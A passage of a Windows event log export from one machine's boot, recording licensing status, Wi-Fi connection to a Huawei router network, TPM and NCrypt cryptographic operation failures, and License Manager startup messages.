30a42c86-b7a0-4a34-8c90-ff177cb2acb7, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n15: 345a5db0-d94f-4e3b-a0c0-7c42f7bc3ebf, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n16: 3502365a-f88a-4ba4-822a-5769d3073b65, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n17: 377333b1-8b5d-48d6-9679-1225c872d37c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n18: 3df374ef-d444-4494-a5a1-4b0d9fd0e203, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n19: 3ebce241-ea87-4946-8a4f-80d00e921dff, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n20: 3f1afc82-f8ac-4f6c-8005-1d233e606eee, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n21: 4322a811-697c-44dc-865e-3e2fdcb86009, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n22: 49cd895b-53b2-4dc4-a5f7-b18aa019ad37, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n23: 4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c, 1, 1 [(0 )(1 )(2 [0x00000000, 1, 0], [(?)( 1 0x00000000)(?)(?)(?)(?)( 10 0x00000000 msft:rm/algorithm/flags/1.0)(?)])(3 )]\n24: 4f3da0d2-271d-4508-ae81-626b60809a38, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n25: 5d78c4e9-aeb3-4b40-8ac2-6a6005e0ad6d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n26: 60b3ec1b-9545-4921-821f-311b129dd6f6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n27: 613d217f-7f13-4268-9907-1662339531cd, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n28: 62f0c100-9c53-4e02-b886-a3528ddfe7f6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n29: 6365275e-368d-46ca-a0ef-fc0404119333, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n30: 721f9237-9341-4453-a661-09e8baa6cca5, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n31: 73111121-5638-40f6-bc11-f1d7b0d64300, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n32: 7a802526-4c94-4bd1-ba14-835a1aca2120, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n33: 7cb546c0-c7d5-44d8-9a5c-69ecdd782b69, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n34: 80083eae-7031-4394-9e88-4901973d56fe, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n35: 82bbc092-bc50-4e16-8e18-b74fc486aec3, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n36: 8ab9bdd1-1f67-4997-82d9-8878520837d9, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n37: 8b351c9c-f398-4515-9900-09df49427262, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n38: 90da7373-1c51-430b-bf26-c97e9c5cdc31, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n39: 92fb8726-92a8-4ffc-94ce-f82e07444653, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n40: 95dca82f-385d-4d39-b85b-5c73fa285d6f, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n41: 97cde3ae-e908-4b59-ac96-a17645c5b57e, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n42: a48938aa-62fa-4966-9d44-9f04da3f72f2, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n43: b0773a15-df3a-4312-9ad2-83d69648e356, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n44: b4bfe195-541e-4e64-ad23-6177f19e395e, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n45: b68e61d2-68ca-4757-be45-0cc2f3e68eee, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n46: bd3762d7-270d-4760-8fb3-d829ca45278a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n47: c86d5194-4840-4dae-9c1c-0301003a5ab0, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n48: ca7df2e3-5ea0-47b8-9ac1-b1be4d8edd69, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n49: d552befb-48cc-4327-8f39-47d2d94f987c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n50: d6eadb3b-5ca8-4a6b-986e-35b550756111, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n51: df96023b-dcd9-4be2-afa0-c6c871159ebe, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n52: e0c42288-980c-4788-a014-c080d2e1926e, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n53: e4db50ea-bda1-4566-b047-0ca50abc6f07, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n54: e558417a-5123-4f6f-91e7-385c1c7ca9d4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n55: e7a950a2-e548-4f10-bf16-02ec848e0643, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n56: eb6d346f-1c60-4643-b960-40ec31596c45, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n57: ec868e65-fadf-4759-b23e-93fe37f2cc29, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n58: ef51e000-2659-4f25-8345-3de70a9cf4c4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n59: f7af7d09-40e4-419c-a49b-eae366689ebd, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n60: fa755fe6-6739-40b9-8d84-6d0ea3b6d1ab, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n61: fe74f55b-0338-41d6-b267-4a201abe7285, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n\n\"\tInformation\tApplication\tMicrosoft-Windows-Security-SPP\n05.09.2026 08:29:04.947\t1040\tReceived Mib notification type MibAddInstance for interface 9\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:29:04.947\t1034\tSend RDMA Endpoint notification failure - DadState is different from IpDadStatePreferred for interface 9. Current DadState: 3.\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:29:04.949\t11000\t\"Wireless network association started.\n\nNetwork Adapter: Intel(R) Wi-Fi 6 AX201 160MHz\nInterface GUID: {449f824d-2856-4717-a3a7-cf59faac817a}\nLocal MAC Address: 28:92:00:F2:4A:95\nNetwork SSID: HUAWEI_HG8245_WiFi\nBSS Type: Infrastructure\nAuthentication: WPA2-Personal\nEncryption: AES-GCMP-128\n802.1X Enabled: No\n\"\tInformation\tMicrosoft-Windows-WLAN-AutoConfig/Operational\tMicrosoft-Windows-WLAN-AutoConfig\n05.09.2026 08:29:04.970\t9653\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:04.973\t9653\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:04.973\t9653\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:05.005\t7021\t7021 - Wi-Fi Driver Info\tInformation\tSystem\tNetwtw14\n05.09.2026 08:29:05.022\t4001\tEntered State: Identifying Network Interface Guid: {449f824d-2856-4717-a3a7-cf59faac817a}\tInformation\tMicrosoft-Windows-NetworkProfile/Operational\tMicrosoft-Windows-NetworkProfile\n05.09.2026 08:29:05.023\t20002\t\"NSI Set Category Result\n\tProfile GUID: {ffffffff-ffff-ffff-ffff-ffffffffffff}\n\tInterface GUID: {449f824d-2856-4717-a3a7-cf59faac817a}\n\tNetwork Category: Public\n\tIPv4 Error Code: 0\n\tIPv6 Error Code: 1168\n\tContext: 3275\n\"\tInformation\tMicrosoft-Windows-NetworkProfile/Operational\tMicrosoft-Windows-NetworkProfile\n05.09.2026 08:29:05.023\t10000\t\"Network Connected\n\tName: \u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f...\n\tDesc: \u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f...\n\tType: Unmanaged\n\tState: Connected\n\tCategory: Public\n\"\tInformation\tMicrosoft-Windows-NetworkProfile/Operational\tMicrosoft-Windows-NetworkProfile\n05.09.2026 08:29:05.027\t11001\t\"Wireless network association succeeded.\n\nNetwork Adapter: Intel(R) Wi-Fi 6 AX201 160MHz\nInterface GUID: {449f824d-2856-4717-a3a7-cf59faac817a}\nLocal MAC Address: 28:92:00:F2:4A:95\nNetwork SSID: HUAWEI_HG8245_WiFi\nBSS Type: Infrastructure\nManagement Frame Protection Enabled: 0x100000000\n\"\tInformation\tMicrosoft-Windows-WLAN-AutoConfig/Operational\tMicrosoft-Windows-WLAN-AutoConfig\n05.09.2026 08:29:05.027\t11010\t\"Wireless security started.\n\nNetwork Adapter: Intel(R) Wi-Fi 6 AX201 160MHz\nInterface GUID: {449f824d-2856-4717-a3a7-cf59faac817a}\nLocal MAC Address: 28:92:00:F2:4A:95\nNetwork SSID: HUAWEI_HG8245_WiFi\nBSS Type: Infrastructure\nAuthentication: WPA2-Personal\nEncryption: AES-GCMP-128\nFIPS Mode: Disabled\n802.1x Enabled: No\n\"\tInformation\tMicrosoft-Windows-WLAN-AutoConfig/Operational\tMicrosoft-Windows-WLAN-AutoConfig\n05.09.2026 08:29:05.036\t11005\t\"Wireless security succeeded.\n\nNetwork Adapter: Intel(R) Wi-Fi 6 AX201 160MHz\nInterface GUID: {449f824d-2856-4717-a3a7-cf59faac817a}\nLocal MAC Address: 28:92:00:F2:4A:95\nNetwork SSID: HUAWEI_HG8245_WiFi\nBSS Type: Infrastructure\n\"\tInformation\tMicrosoft-Windows-WLAN-AutoConfig/Operational\tMicrosoft-Windows-WLAN-AutoConfig\n05.09.2026 08:29:05.042\t902\t\"The Software Protection service has started.\n10.0.26100.9168\"\tUndefined\tApplication\tMicrosoft-Windows-Security-SPP\n05.09.2026 08:29:05.043\t2010\t\"Network profile changed on an interface.\n\nAdapter GUID:\t{449f824d-2856-4717-a3a7-cf59faac817a}\nAdapter Name:\twireless_32768\nOld Profile:\tNone\nNew Profile:\tPublic\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:29:05.062\t4205\tGateway resolution failed on interface {449f824d-2856-4717-a3a7-cf59faac817a} for 192.168.100.1 with error: 0x43\tError\tMicrosoft-Windows-NlaSvc/Operational\tMicrosoft-Windows-NlaSvc\n05.09.2026 08:29:05.080\t8001\t\"WLAN AutoConfig service has successfully connected to a wireless network.\n\nNetwork Adapter: Intel(R) Wi-Fi 6 AX201 160MHz\nInterface GUID: {449f824d-2856-4717-a3a7-cf59faac817a}\nConnection Mode: \u0410\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043f\u0440\u043e\u0444\u0438\u043b\u044f\nProfile Name: HUAWEI_HG8245_WiFi\nSSID: HUAWEI_HG8245_WiFi\nBSS Type: Infrastructure\nPHY Type: 802.11n\nAuthentication: WPA2-Personal\nEncryption: AES-CCMP\n802.1x Enabled: No\nHidden: false\n\"\tInformation\tMicrosoft-Windows-WLAN-AutoConfig/Operational\tMicrosoft-Windows-WLAN-AutoConfig\n05.09.2026 08:29:05.174\t17\tThe Trusted Platform Module (TPM) hardware failed to execute a TPM command.\tInformation\tSystem\tTPM\n05.09.2026 08:29:05.176\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Platform Crypto Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.189\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Platform Crypto Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.193\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Platform Crypto Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.198\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Platform Crypto Provider\n \tKey Name:\tWindows AIK\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.198\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Platform Crypto Provider\n \tKey Name:\tWindows AIK\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090011\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.198\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Platform Crypto Provider\n \tKey Name:\tWindows AIK\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090011\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.253\t4\tThe maximum file size for session \"ReadyBoot\" has been reached. As a result, events might be lost (not logged) to file \"C:\\WINDOWS\\Prefetch\\ReadyBoot\\ReadyBoot.etl\". The maximum files size is currently set to 20971520 bytes.\tWarning\tMicrosoft-Windows-Kernel-EventTracing/Admin\tMicrosoft-Windows-Kernel-EventTracing\n05.09.2026 08:29:05.253\t3\tSession \"ReadyBoot\" stopped due to the following error: 0xC0000188\tError\tMicrosoft-Windows-Kernel-EventTracing/Admin\tMicrosoft-Windows-Kernel-EventTracing\n05.09.2026 08:29:05.260\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t17\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.271\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.271\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.271\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.271\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.271\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.271\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.272\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.272\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.272\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.273\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.273\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.273\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.273\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.273\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.304\t17\tThe Trusted Platform Module (TPM) hardware failed to execute a TPM command.\tInformation\tSystem\tTPM\n05.09.2026 08:29:05.305\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Platform Crypto Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.309\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Platform Crypto Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.312\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Platform Crypto Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.440\t4004\t\"Network State Change Fired\n\tNew Internet Connection Profile: true\n\tConnection Cost Changed: true\n\tDomain Connectivity Level Changed: false\n\tNetwork Connectivity Level Changed: true\n\tHost Name Changed: true\n\tWwan Registration State Changed: false\n\tTethering Operational State Changed: false\n\tTethering Client Count Changed: false\"\tInformation\tMicrosoft-Windows-NetworkProfile/Operational\tMicrosoft-Windows-NetworkProfile\n05.09.2026 08:29:05.468\t1024\tInternet connection status changed to false, submitting pending workitems: count = 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:05.472\t157\tThe license with Id 2da6ca43-2e6f-1f16-05ad-a9959043ddb7 has been archived successfully.  PFM if available: Microsoft.Windows.99.X20-15863_8wekyb3d8bbwe\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 08:29:05.472\t116\t\"Application license successfully installed.\nPackage: Microsoft.Windows.99.X20-15863_8wekyb3d8bbwe\nUser Id (if available): NULL\nLicense Id: 2da6ca43-2e6f-1f16-05ad-a9959043ddb7\nAssociate Id: 2da6ca43-2e6f-1f16-05ad-a9959043ddb7\"\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 08:29:05.496\t8000\t\"Process Name: C:\\WINDOWS\\System32\\svchost.exe\nModule Name: c:\\windows\\system32\\LicenseManager.dll\nBuild: 26100.1.amd64fre.ge_release.240331-1435\n\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.496\t8001\t\"Failure Message: Setting MSA Client Id for Token requests: {f0c62012-2cef-4831-b1f7-930682874c86}\nFunction: \nSource: onecoreuap\\enduser\\winstore\\auth\\lib\\winstoreauth.cpp (206)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.497\t8001\t\"License Manager starting...\nFunction: ServiceInitializeImpl\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2113)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.497\t8001\t\"Creating LM\nFunction: CreateLicenseManager\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\manager.cpp (609)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.498\t8001\t\"0000021F83133E50: Root Machine\nFunction: RootMachine::RootMachine\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\rootmachine.cpp (63)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.498\t8001\t\"License Manager started\nFunction: ServiceInitializeImpl\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2141)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.499\t9649\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:05.499\t9648\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:05.502\t9649\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:05.502\t9648\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:05.502\t9649\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:05.502\t9648\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 